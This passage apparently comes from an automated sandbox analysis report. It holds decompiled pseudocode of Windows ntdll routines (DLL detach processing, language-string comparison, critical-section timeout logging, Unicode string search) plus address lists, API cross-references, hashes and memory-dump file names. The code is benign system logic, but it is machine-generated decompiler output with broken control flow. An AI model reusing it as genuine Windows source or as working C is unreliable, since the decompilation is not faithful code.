				void* _t185;
				void* _t186;
				void* _t188;
				signed int _t191;
				signed int _t192;
				void* _t197;

				_t185 = __edi;
				_push(0x38);
				_push(0x6cedf868);
				E6CE5D08C(__ebx, __edi, __esi);
				_v32 = __ecx;
				_t94 =  *((intOrPtr*)(__ecx));
				while(1) {
					_v28 = _t94;
					_t145 = _t94;
					if(_t145 == _v32) {
						break;
					}
					 *((short*)(_t145 - 0x1c)) = 0;
					L15();
					_t6 = _t145 - 0x44; // 0xbb
					_t97 = _t6;
					_t150 =  *_t97;
					if(_t150 == 0) {
						L6:
						_t98 =  *((intOrPtr*)(_t145 - 0x38));
						_v36 = _t98;
						if(_t98 != 0 && ( *(_t145 - 0x20) & 0x00080000) != 0) {
							if(( *0x6cef5780 & 0x00000005) != 0) {
								_push(_t98);
								_t92 = _t145 - 0x30; // 0xcf
								E6CE85510("minkernel\\ntdll\\ldrsnap.c", 0x7bb, "LdrpProcessDetachNode", 2, "Uninitializing DLL \"%wZ\" (Init routine: %p)\n", _t92);
								_t197 = _t197 + 0x1c;
							}
							_v72 = 0x24;
							_v68 = 1;
							_t151 = 7;
							_t188 =  &_v64;
							memset(_t188, 0, _t151 << 2);
							_t197 = _t197 + 0xc;
							_t185 = _t188 + _t151;
							E6CE1F540( &_v72,  *((intOrPtr*)(_t145 - 0xc)));
							_v4 = 0;
							_t211 =  *((intOrPtr*)(_t145 - 0x1a));
							if( *((intOrPtr*)(_t145 - 0x1a)) != 0) {
								_t31 = _t145 - 0x54; // 0xab
								E6CE10C30(0, _t31);
							}
							_v4 = 1;
							_push(0);
							_push(0);
							E6CE1FC01(_t145, _v36,  *((intOrPtr*)(_t145 - 0x3c)), _t185, 0, _t211);
							_v4 = 0;
							_v4 = 0xfffffffe;
							E6CE10307();
						}
						_t94 =  *_v28;
						continue;
					} else {
						_t176 =  *((intOrPtr*)(_t97 + 4));
						if( *((intOrPtr*)(_t150 + 4)) != _t97 ||  *_t176 != _t97) {
							_t156 = 3;
							asm("int 0x29");
							_t108 =  *0x6cef8458;
							_push(_t145);
							_push(0);
							_push(_t185);
							_t186 = _t156;
							_t158 = _t108 & 0x0000000f;
							_t191 = _t158 * 0x5c;
							_v16 = _t158;
							 *(_t191 + 0x6cef7c48) = _t108;
							 *0x6cef8458 = _t108 + 1;
							 *((intOrPtr*)(_t191 + 0x6cef7c40)) =  *((intOrPtr*)(_t186 + 0x18));
							 *((intOrPtr*)(_t191 + 0x6cef7c44)) =  *((intOrPtr*)(_t186 + 0x20));
							_t146 =  *(_t186 + 0x2c) & 0x0000ffff;
							_t112 = 0x40;
							__eflags = _t146 - _t112;
							if(_t146 > _t112) {
								_t146 = _t112;
							}
							_t113 = _t146 & 0x0000ffff;
							_v12 = _t113;
							_t41 = _t191 + 0x6cef7c54; // 0x6cef7c54
							memcpy(_t41,  *(_t186 + 0x30), _t113);
							_t160 = _v12 >> 1;
							_v20 = _t160;
							_t116 = 0x40;
							__eflags = _t146 - _t116;
							if(__eflags < 0) {
								__eflags = 0;
								 *((short*)(0x6cef7c54 + (_v8 * 0x2e + _t160) * 2)) = 0;
							}
							_push( &_v36);
							E6CE104D0(_t146,  *((intOrPtr*)(_t186 + 0x18)),  *((intOrPtr*)(_t186 + 0x20)), _t186, _t191, __eflags);
							 *((intOrPtr*)(_t191 + 0x6cef7c4c)) = _v36;
							 *((intOrPtr*)(_t191 + 0x6cef7c50)) = _v32;
							 *((intOrPtr*)(_t191 + 0x6cef7c94)) = _v28;
							 *((intOrPtr*)(_t191 + 0x6cef7c98)) = _v24;
							_t123 =  *0x6cef8454;
							_v8 = _t123;
							__eflags = _t123;
							if(_t123 == 0) {
								_t178 =  *0x6cef5ca8; // 0x40
								__eflags = _t178 - 0xffff;
								if(_t178 > 0xffff) {
									_t178 = 0xffff;
									 *0x6cef5ca8 = 0xffff;
								}
								_t126 = RtlAllocateHeap( *0x6cef7b98,  *0x6cef7b9c + 0x00040000 | 0x00000008, _t178 * 0x5c);
								_v8 = _t126;
								 *0x6cef8454 = _t126;
								__eflags = _t126;
								if(_t126 != 0) {
									goto L19;
								} else {
								}
							} else {
								L19:
								_t165 =  *0x6cef845c;
								_t129 = _t165 %  *0x6cef5ca8 & 0x0000ffff;
								_t192 = _t129 * 0x5c;
								_v16 = _t129;
								 *(_t192 + _v8 + 8) = _t165;
								 *0x6cef845c = _t165 + 1;
								 *((intOrPtr*)( *0x6cef8454 + _t192)) =  *((intOrPtr*)(_t186 + 0x18));
								 *((intOrPtr*)(_t192 +  *0x6cef8454 + 4)) =  *((intOrPtr*)(_t186 + 0x20));
								memcpy( *0x6cef8454 + 0x14 + _t192,  *(_t186 + 0x30), _v12);
								_t137 = 0x40;
								__eflags = _t146 - _t137;
								if(_t146 < _t137) {
									__eflags = 0;
									 *((short*)( *0x6cef8454 + 0x14 + (_v16 * 0x2e + _v20) * 2)) = 0;
								}
								 *((intOrPtr*)(_t192 +  *0x6cef8454 + 0xc)) = _v36;
								 *((intOrPtr*)(_t192 +  *0x6cef8454 + 0x10)) = _v32;
								 *((intOrPtr*)(_t192 +  *0x6cef8454 + 0x54)) = _v28;
								_t126 =  *0x6cef8454;
								 *((intOrPtr*)(_t192 + _t126 + 0x58)) = _v24;
							}
							return _t126;
						} else {
							 *_t176 = _t150;
							 *((intOrPtr*)(_t150 + 4)) = _t176;
							 *_t97 = 1;
							goto L6;
						}
					}
					L29:
				}
				return E6CE5D0D1(_t94);
				goto L29;
			}

0x6ce10225
0x6ce10225
0x6ce10227
0x6ce1022c
0x6ce10231
0x6ce10234
0x6ce10238
0x6ce10238
0x6ce1023b
0x6ce10240
0x00000000
0x00000000
0x6ce10248
0x6ce1024f
0x6ce10254
0x6ce10254
0x6ce10257
0x6ce1025b
0x6ce1027c
0x6ce1027c
0x6ce1027f
0x6ce10284
0x6ce10296
0x6ce661cb
0x6ce661cc
0x6ce661e6
0x6ce661eb
0x6ce661eb
0x6ce1029c
0x6ce102a3
0x6ce102ac
0x6ce102af
0x6ce102b2
0x6ce102b2
0x6ce102b2
0x6ce102ba
0x6ce102bf
0x6ce102c2
0x6ce102c6
0x6ce102fb
0x6ce10300
0x6ce10300
0x6ce102c8
0x6ce102cf
0x6ce102d0
0x6ce102d7
0x6ce102dc
0x6ce102df
0x6ce102e6
0x6ce102e6
0x6ce102ee
0x00000000
0x6ce1025d
0x6ce1025d
0x6ce10263
0x6ce10312
0x6ce10313
0x6ce1031d
0x6ce10322
0x6ce10323
0x6ce10324
0x6ce10325
0x6ce10329
0x6ce1032c
0x6ce10331
0x6ce10334
0x6ce1033b
0x6ce10343
0x6ce1034c
0x6ce10352
0x6ce10356
0x6ce10357
0x6ce1035a
0x6ce104c9
0x6ce104c9
0x6ce10360
0x6ce10367
0x6ce1036a
0x6ce10371
0x6ce1037c
0x6ce1037e
0x6ce10383
0x6ce10384
0x6ce10387
0x6ce1038f
0x6ce10391
0x6ce10391
0x6ce103a2
0x6ce103a3
0x6ce103ab
0x6ce103b4
0x6ce103bd
0x6ce103c6
0x6ce103cc
0x6ce103d1
0x6ce103d4
0x6ce103d6
0x6ce10485
0x6ce10490
0x6ce10492
0x6ce6620d
0x6ce6620f
0x6ce6620f
0x6ce104b2
0x6ce104b7
0x6ce104ba
0x6ce104bf
0x6ce104c1
0x00000000
0x00000000
0x6ce104c7
0x6ce103dc
0x6ce103dc
0x6ce103dc
0x6ce103ef
0x6ce103f2
0x6ce103f5
0x6ce103fb
0x6ce10405
0x6ce1040e
0x6ce10419
0x6ce1042b
0x6ce10435
0x6ce10436
0x6ce10439
0x6ce10447
0x6ce10449
0x6ce10449
0x6ce10456
0x6ce10462
0x6ce1046e
0x6ce10472
0x6ce1047a
0x6ce1047a
0x6ce10484
0x6ce10271
0x6ce10271
0x6ce10273
0x6ce10276
0x00000000
0x6ce10276
0x6ce10263
0x00000000
0x6ce1025b
0x6ce102fa
0x00000000

APIs

Part of subcall function 6CE10315: memcpy.1105(6CEF7C54,?,00000040,00000000,00000000,000000FF,?,?,6CE10254,6CEDF868,00000038,6CE0F563), ref: 6CE10371
Part of subcall function 6CE10315: memcpy.1105(?,?,?,?,0000FFFF,?,00000000,00000000,000000FF,?,?,6CE10254,6CEDF868,00000038,6CE0F563), ref: 6CE1042B

RtlActivateActivationContextUnsafeFast.1105 ref: 6CE102BA

Strings

LdrpProcessDetachNode, xrefs: 6CE661D7
minkernel\ntdll\ldrsnap.c, xrefs: 6CE661E1
Uninitializing DLL "%wZ" (Init routine: %p), xrefs: 6CE661D0
$, xrefs: 6CE1029C

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$ActivateActivationContextFastUnsafe
String ID: $$LdrpProcessDetachNode$Uninitializing DLL "%wZ" (Init routine: %p)$minkernel\ntdll\ldrsnap.c
API String ID: 2422247448-1066784428
Opcode ID: 122c2e9800e3a0e85208a780c48c8cdeb9c558ea8572dcc57150f468ddb3b882
Instruction ID: 17f5cf47e3debbde747efef01ab3e4b7c998c396d6415489d30342f80eaf76ba
Opcode Fuzzy Hash: 122c2e9800e3a0e85208a780c48c8cdeb9c558ea8572dcc57150f468ddb3b882
Instruction Fuzzy Hash: 2031AE30D4A244DBDB01CF68C884A8EBBB4BF09308F308599E401ABF90D7759A66CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB6243, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E6CEB6243(void* __ebx, WCHAR* __ecx, void* __edi) {
				signed int _v8;
				short _v188;
				char _v192;
				void* _v196;
				void* _v204;
				void* __esi;
				char _t19;
				intOrPtr _t21;
				void* _t22;
				void* _t28;
				void* _t35;
				void* _t36;
				WCHAR* _t37;
				signed int _t38;

				_t36 = __edi;
				_t28 = __ebx;
				_v8 =  *0x6cefd360 ^ _t38;
				_v192 = 0x55;
				_t37 = __ecx;
				if(E6CEBCF70(__ecx, 1,  &_v188,  &_v192) < 0) {
					L6:
					_t19 = 0;
				} else {
					_t21 = _v192;
					if(_t21 >= 0x55) {
						goto L6;
					} else {
						_t22 = _t21 + _t21;
						if(_t22 >= 0xaa) {
							E6CE4B75A();
							goto L6;
						} else {
							 *((short*)(_t38 + _t22 - 0xb8)) = 0;
							RtlInitUnicodeString( &_v204, _t37);
							RtlInitUnicodeString( &_v196,  &_v188);
							if(RtlCompareUnicodeString( &_v204,  &_v196, 1) != 0) {
								goto L6;
							} else {
								_t19 = 1;
							}
						}
					}
				}
				return E6CE4B640(_t19, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x6ceb6243
0x6ceb6243
0x6ceb6255
0x6ceb625f
0x6ceb6270
0x6ceb627c
0x6ceb62de
0x6ceb62de
0x6ceb627e
0x6ceb627e
0x6ceb6287
0x00000000
0x6ceb6289
0x6ceb6289
0x6ceb6290
0x6ceb62d9
0x00000000
0x6ceb6292
0x6ceb6294
0x6ceb62a4
0x6ceb62b7
0x6ceb62d3
0x00000000
0x6ceb62d5
0x6ceb62d5
0x6ceb62d5
0x6ceb62d3
0x6ceb6290
0x6ceb6287
0x6ceb62ee

APIs

RtlpGetUserOrMachineUILanguage4NLS.1105(00000001,?,?,?), ref: 6CEB6275

Part of subcall function 6CEBCF70: RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?), ref: 6CEBCFC1
Part of subcall function 6CEBCF70: ZwOpenKey.1105(00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6CEBD0B8
Part of subcall function 6CEBCF70: RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached), ref: 6CEBD0CD
Part of subcall function 6CEBCF70: ZwClose.1105(?,?,?,?), ref: 6CEBD139
Part of subcall function 6CEBCF70: ZwClose.1105(00000000,?,?,?), ref: 6CEBD14E

RtlInitUnicodeString.1105(?,?,00000001,?,?,?), ref: 6CEB62A4
RtlInitUnicodeString.1105(?,?,?,?,00000001,?,?,?), ref: 6CEB62B7
RtlCompareUnicodeString.1105(?,?,00000001,?,?,?,?,00000001,?,?,?), ref: 6CEB62CC

Part of subcall function 6CE19660: RtlCompareUnicodeStrings.1105(?,?,00000001,?,?,?,6CE63065,?,?,00000001,?,?,00000000,?,00000002,?), ref: 6CE19680

Strings

U, xrefs: 6CEB625F

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$String$Init$CloseCompare$Language4MachineOpenRtlpStringsUser
String ID: U
API String ID: 3637150059-3372436214
Opcode ID: 2dfd22c76d354662a4686cc0002328593ae4d0a19b09d159585d54786778d085
Instruction ID: c4ad5bf35e9992edfad07ce2311a4d48a80709d7e518215118aaa2aab432d4f3
Opcode Fuzzy Hash: 2dfd22c76d354662a4686cc0002328593ae4d0a19b09d159585d54786778d085
Instruction Fuzzy Hash: E511867190561C96EB24DB61DD45FEEB3BCEF05304F2045EDD909E7640EB309A48CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6CE9FDDA, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E6CE9FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E6CE4CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E6CE95720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E6CE95720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x6ce9fdda
0x6ce9fde2
0x6ce9fde5
0x6ce9fdec
0x6ce9fdfa
0x6ce9fdff
0x6ce9fe0a
0x6ce9fe0f
0x6ce9fe17
0x6ce9fe1e
0x6ce9fe19
0x6ce9fe19
0x6ce9fe19
0x6ce9fe20
0x6ce9fe21
0x6ce9fe22
0x6ce9fe25
0x6ce9fe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT(?,00000000,FF676980,000000FF,00000000,00000000,?,?,?,6CE5FA1C,00000000,00000004,?,00000000,?,00000000), ref: 6CE9FDFA
DbgPrintEx.1105(00000065,00000001,RTL: Enter CriticalSection Timeout (%I64u secs) %d,00000000,?,?,00000000,FF676980,000000FF,00000000,00000000,?,?,?,6CE5FA1C,00000000), ref: 6CE9FE0A
DbgPrintEx.1105(00000065,00000000,RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u,?,?,00000002,?,00000000,00000004,?,00000000,?,00000000,00000000), ref: 6CE9FE34

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 6CE9FE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 6CE9FE2B

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 545360701-3903918235
Opcode ID: 012586617f8f69a060d05fd12521f7256240cdcd244702f667c05d3ee968febf
Instruction ID: 62dc765459183a385f4651a9dd714dc6a0b5d239eec799c6bf7f81263c838955
Opcode Fuzzy Hash: 012586617f8f69a060d05fd12521f7256240cdcd244702f667c05d3ee968febf
Instruction Fuzzy Hash: 54F0F632200241BFE6204A45DC05F63BB7AEB45734F354718F62856AE1DA62F92487F0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE23690, Relevance: 7.9, APIs: 5, Instructions: 359
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6CE23690(signed int _a4, signed short* _a8, unsigned int* _a12, signed int _a16) {
				signed int _v8;
				char _v72;
				signed short _v76;
				signed short _v80;
				signed int _v84;
				signed short* _v88;
				signed int _v92;
				signed short* _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				unsigned short _v112;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t154;
				signed short _t156;
				signed short _t157;
				unsigned short _t158;
				signed short _t162;
				signed short _t166;
				signed short _t168;
				signed int _t171;
				signed short _t180;
				signed int _t191;
				signed char _t194;
				signed char _t196;
				signed short _t199;
				signed short _t200;
				signed short _t201;
				signed short _t202;
				void* _t204;
				signed short _t205;
				signed short _t206;
				unsigned int* _t207;
				signed int _t212;
				signed short _t215;
				signed short _t217;
				signed short _t219;
				signed short _t220;
				signed int _t224;
				signed int _t225;
				void* _t226;
				signed int _t227;
				void* _t228;
				signed short _t229;
				signed short* _t230;
				signed short* _t231;
				signed int _t232;
				signed short* _t233;
				signed short* _t234;
				signed int _t235;
				signed int _t236;
				signed short* _t237;
				signed short _t238;
				signed short _t239;
				short* _t240;
				signed int _t242;

				_v8 =  *0x6cefd360 ^ _t242;
				_t207 = _a12;
				_t198 = _a16;
				_v84 = _t198;
				_t237 = _a8;
				if(_t198 != 0) {
					 *_t198 = 0;
				}
				_t221 = _a4;
				if((_t221 & 0xfffffff8) != 0 || _t198 == 0) {
					_t154 = 0xc000000d;
					goto L35;
				} else {
					_t156 = 0;
					_v88 = 0xfffe;
					_v76 = 0;
					_push(_t226);
					if(_t237 != 0) {
						if(( *_t237 & 1) != 0) {
							L39:
							_t156 = 0xc000000d;
							_v76 = 0xc000000d;
						} else {
							_t13 =  &(_t237[1]); // 0xe9d07589
							_t196 =  *_t13 & 0x0000ffff;
							if((_t196 & 0x00000001) != 0) {
								goto L39;
							} else {
								_t236 =  *_t237 & 0x0000ffff;
								if(_t236 > _t196 || _t196 > _v88) {
									goto L39;
								} else {
									if(_t237[2] == 0) {
										if(_t236 != 0 || _t196 != 0) {
											goto L39;
										} else {
											goto L10;
										}
									} else {
										L10:
										_t156 = 0;
									}
								}
							}
						}
					}
					if(_t156 < 0) {
						L36:
						_t154 = _v76;
						goto L34;
					} else {
						_t157 = 0;
						_v76 = 0;
						if(_t207 != 0) {
							if(( *_t207 & 1) != 0) {
								L42:
								_t157 = 0xc000000d;
								_v76 = 0xc000000d;
							} else {
								_t194 = _t207[0] & 0x0000ffff;
								if((_t194 & 0x00000001) != 0) {
									goto L42;
								} else {
									_t235 =  *_t207 & 0x0000ffff;
									if(_t235 > _t194 || _t194 > _v88) {
										goto L42;
									} else {
										if(_t207[1] == 0) {
											if(_t235 != 0 || _t194 != 0) {
												goto L42;
											} else {
												goto L18;
											}
										} else {
											L18:
											_t157 = 0;
										}
									}
								}
							}
						}
						if(_t157 < 0) {
							goto L36;
						} else {
							_t158 =  *_t237 & 0x0000ffff;
							_t26 =  &(_t237[2]); // 0xcd3be9d0
							_t237 =  *_t26;
							_v112 = _t158;
							_t227 = _t158 >> 0x00000001 & 0x0000ffff;
							_v96 = _t207[1];
							_t212 = _t221 & 0x00000001;
							_t162 =  *_t207 >> 0x00000001 & 0x0000ffff;
							_v92 = _t227;
							_v80 = _t162;
							_v104 = _t212;
							_v88 = _t237;
							if(_t212 == 0) {
								_v100 = 1;
							} else {
								_v100 = 0xffffffff;
								_t162 = _v80;
								_t237 =  &(( &(_t237[_t227 & 0x0000ffff]))[0xffffffffffffffff]);
								_v88 = _t237;
							}
							if((_t221 & 0x00000004) != 0) {
								if(_t162 > 0x20) {
									if(_t227 != 0) {
										_a4 = _t221 & 0x00000002;
										do {
											_t166 = E6CEA2EF0( *_t237 & 0x0000ffff);
											_t215 = 0;
											_t221 = 0;
											_v108 = _t166 & 0x0000ffff;
											_t168 = _v80;
											_v76 = 0;
											if(_a4 == 0) {
												if(0 < _t168) {
													_t200 = _v80;
													_t230 = _v96;
													_t238 = _v76;
													while(_v108 != E6CEA2EF0( *(_t230 + (_t238 & 0x0000ffff) * 2) & 0x0000ffff)) {
														_t238 = _t238 + 1;
														if(_t238 < _t200) {
															continue;
														}
														break;
													}
													_t227 = _v92;
													_t198 = _v84;
													_t168 = _v80;
													_v76 = _t238;
													_t237 = _v88;
													_t215 = _v76;
												}
												if(_t215 != _t168) {
													goto L58;
												} else {
													goto L83;
												}
											} else {
												if(0 < _t168) {
													_t231 = _v96;
													_t199 = _t168;
													_t239 = 0;
													while(_v108 != E6CEA2EF0( *(_t231 + (_t239 & 0x0000ffff) * 2) & 0x0000ffff)) {
														_t239 = _t239 + 1;
														if(_t239 < _t199) {
															continue;
														}
														break;
													}
													_t227 = _v92;
													_t198 = _v84;
													_t168 = _v80;
													_v76 = _t239;
													_t237 = _v88;
													_t215 = _v76;
												}
												if(_t215 != _t168) {
													goto L83;
												} else {
													goto L58;
												}
											}
											goto L110;
											L83:
											_t227 = _t227 + 0xffff;
											_v92 = _t227;
											_t237 =  &(_t237[_v100]);
											_v88 = _t237;
										} while (_t227 != 0);
									}
								} else {
									if(0 < _t162) {
										_t240 =  &_v72;
										_t232 = _t162 & 0x0000ffff;
										_t204 = _v96 - _t240;
										do {
											 *_t240 = E6CEA2EF0( *(_t204 + _t240) & 0x0000ffff);
											_t240 = _t240 + 2;
											_t232 = _t232 - 1;
										} while (_t232 != 0);
										_t237 = _v88;
										_t227 = _v92;
										_t198 = _v84;
										_t221 = _a4;
									}
									if(_t227 != 0) {
										_a4 = _t221 & 0x00000002;
										do {
											_t180 = E6CEA2EF0( *_t237 & 0x0000ffff);
											_t217 = _v80;
											_t221 = 0;
											_v76 = _t180 & 0x0000ffff;
											if(_a4 == 0) {
												if(0 < _t217) {
													_t202 = _v76;
													while(_t202 !=  *((intOrPtr*)(_t242 + (_t221 & 0x0000ffff) * 2 - 0x44))) {
														_t221 = _t221 + 1;
														if(_t221 < _t217) {
															continue;
														}
														break;
													}
													_t198 = _v84;
												}
												if(_t221 != _t217) {
													goto L58;
												} else {
													goto L65;
												}
											} else {
												if(0 < _t217) {
													_t201 = _v76;
													while(_t201 !=  *((intOrPtr*)(_t242 + (_t221 & 0x0000ffff) * 2 - 0x44))) {
														_t221 = _t221 + 1;
														if(_t221 < _t217) {
															continue;
														}
														break;
													}
													_t198 = _v84;
												}
												if(_t221 != _t217) {
													goto L65;
												} else {
													L58:
													_t212 = _v104;
													goto L30;
												}
											}
											goto L110;
											L65:
											_t227 = _t227 + 0xffff;
											_t237 =  &(_t237[_v100]);
										} while (_t227 != 0);
									}
								}
								goto L29;
							} else {
								if(_t162 != 1) {
									if(_t227 != 0) {
										_t221 = _t221 & 0x00000002;
										_a4 = _t221;
										do {
											_t198 = _v84;
											_v76 = 0;
											if(_t221 == 0) {
												_v108 = 0;
												if(_v108 < _t162) {
													_t220 = _v80;
													_t233 = _v96;
													_t205 = _v76;
													_t224 =  *_t237 & 0x0000ffff;
													while(_t224 !=  *((intOrPtr*)(_t233 + (_t205 & 0x0000ffff) * 2))) {
														_t205 = _t205 + 1;
														if(_t205 < _t220) {
															continue;
														}
														break;
													}
													_t227 = _v92;
													_t221 = _a4;
													_t212 = _v104;
													_t162 = _v80;
													_v76 = _t205;
													_t198 = _v84;
												}
												if(_v76 != _t162) {
													goto L30;
												} else {
													goto L106;
												}
											} else {
												_v108 = 0;
												if(_v108 < _t162) {
													_t219 = _v80;
													_t234 = _v96;
													_t206 = _v76;
													_t225 =  *_t237 & 0x0000ffff;
													while(_t225 !=  *((intOrPtr*)(_t234 + (_t206 & 0x0000ffff) * 2))) {
														_t206 = _t206 + 1;
														if(_t206 < _t219) {
															continue;
														}
														break;
													}
													_t227 = _v92;
													_t221 = _a4;
													_t212 = _v104;
													_t162 = _v80;
													_v76 = _t206;
													_t198 = _v84;
												}
												if(_v76 == _t162) {
													goto L30;
												} else {
													goto L106;
												}
											}
											goto L110;
											L106:
											_t198 = _v100;
											_t227 = _t227 + 0xffff;
											_v92 = _t227;
											_t237 =  &(_t237[_v100]);
										} while (_t227 != 0);
									}
									goto L29;
								} else {
									_t191 =  *_v96 & 0x0000ffff;
									if((_t221 & 0x00000002) != 0) {
										if(_t227 == 0) {
											goto L29;
										} else {
											_t221 = _v100;
											while( *_t237 == _t191) {
												_t227 = _t227 + 0xffff;
												_t237 =  &(_t237[_t221]);
												if(_t227 != 0) {
													continue;
												} else {
													goto L29;
												}
												goto L110;
											}
											goto L30;
										}
									} else {
										if(_t227 == 0) {
											L29:
											_pop(_t228);
											return E6CE4B640(0xc0000225, _t198, _v8 ^ _t242, _t221, _t228, _t237);
										} else {
											while( *_t237 != _t191) {
												_t221 = _v100;
												_t227 = _t227 + 0xffff;
												_t237 =  &(_t237[_v100]);
												if(_t227 != 0) {
													continue;
												} else {
													goto L29;
												}
												goto L110;
											}
											L30:
											if(_t227 == 0) {
												goto L29;
											} else {
												_t229 = _t227 * 2 - 2;
												if(_t212 == 0) {
													_t171 = _v112 - _t229 & 0x0000ffff;
												} else {
													_t171 = _t229 & 0x0000ffff;
												}
												 *_t198 = _t171;
												_t154 = 0;
												L34:
												_pop(_t226);
												L35:
												return E6CE4B640(_t154, _t198, _v8 ^ _t242, _t221, _t226, _t237);
											}
										}
									}
								}
							}
						}
					}
				}
				L110:
			}

0x6ce2369f
0x6ce236a2
0x6ce236a6
0x6ce236a9
0x6ce236ad
0x6ce236b2
0x6ce236b6
0x6ce236b6
0x6ce236b9
0x6ce236c2
0x6ce6ddac
0x00000000
0x6ce236d0
0x6ce236d0
0x6ce236d2
0x6ce236d9
0x6ce236dc
0x6ce236df
0x6ce236e6
0x6ce6dae8
0x6ce6dae8
0x6ce6daed
0x6ce236ec
0x6ce236ec
0x6ce236ec
0x6ce236f2
0x00000000
0x6ce236f8
0x6ce236f8
0x6ce236fe
0x00000000
0x6ce2370e
0x6ce23712
0x6ce6dadd
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce23718
0x6ce23718
0x6ce23718
0x6ce23718
0x6ce23712
0x6ce236fe
0x6ce236f2
0x6ce236e6
0x6ce2371c
0x6ce2383d
0x6ce2383d
0x00000000
0x6ce23722
0x6ce23722
0x6ce23724
0x6ce23729
0x6ce23730
0x6ce6db03
0x6ce6db03
0x6ce6db08
0x6ce23736
0x6ce23736
0x6ce2373c
0x00000000
0x6ce23742
0x6ce23742
0x6ce23748
0x00000000
0x6ce23758
0x6ce2375c
0x6ce6daf8
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce23762
0x6ce23762
0x6ce23762
0x6ce23762
0x6ce2375c
0x6ce23748
0x6ce2373c
0x6ce23730
0x6ce23766
0x00000000
0x6ce2376c
0x6ce2376c
0x6ce2376f
0x6ce2376f
0x6ce23772
0x6ce23778
0x6ce23781
0x6ce23789
0x6ce2378c
0x6ce2378f
0x6ce23792
0x6ce23795
0x6ce23798
0x6ce2379b
0x6ce6db10
0x6ce237a1
0x6ce237a4
0x6ce237ae
0x6ce237b1
0x6ce237b4
0x6ce237b4
0x6ce237ba
0x6ce6db20
0x6ce6dbe6
0x6ce6dbef
0x6ce6dbf2
0x6ce6dbf6
0x6ce6dbfe
0x6ce6dc00
0x6ce6dc02
0x6ce6dc05
0x6ce6dc08
0x6ce6dc0e
0x6ce6dc54
0x6ce6dc56
0x6ce6dc59
0x6ce6dc5c
0x6ce6dc5f
0x6ce6dc72
0x6ce6dc76
0x00000000
0x00000000
0x00000000
0x6ce6dc76
0x6ce6dc78
0x6ce6dc7b
0x6ce6dc7e
0x6ce6dc81
0x6ce6dc84
0x6ce6dc87
0x6ce6dc87
0x6ce6dc8d
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce6dc10
0x6ce6dc13
0x6ce6dc15
0x6ce6dc18
0x6ce6dc1a
0x6ce6dc1c
0x6ce6dc2f
0x6ce6dc33
0x00000000
0x00000000
0x00000000
0x6ce6dc33
0x6ce6dc35
0x6ce6dc38
0x6ce6dc3b
0x6ce6dc3e
0x6ce6dc41
0x6ce6dc44
0x6ce6dc44
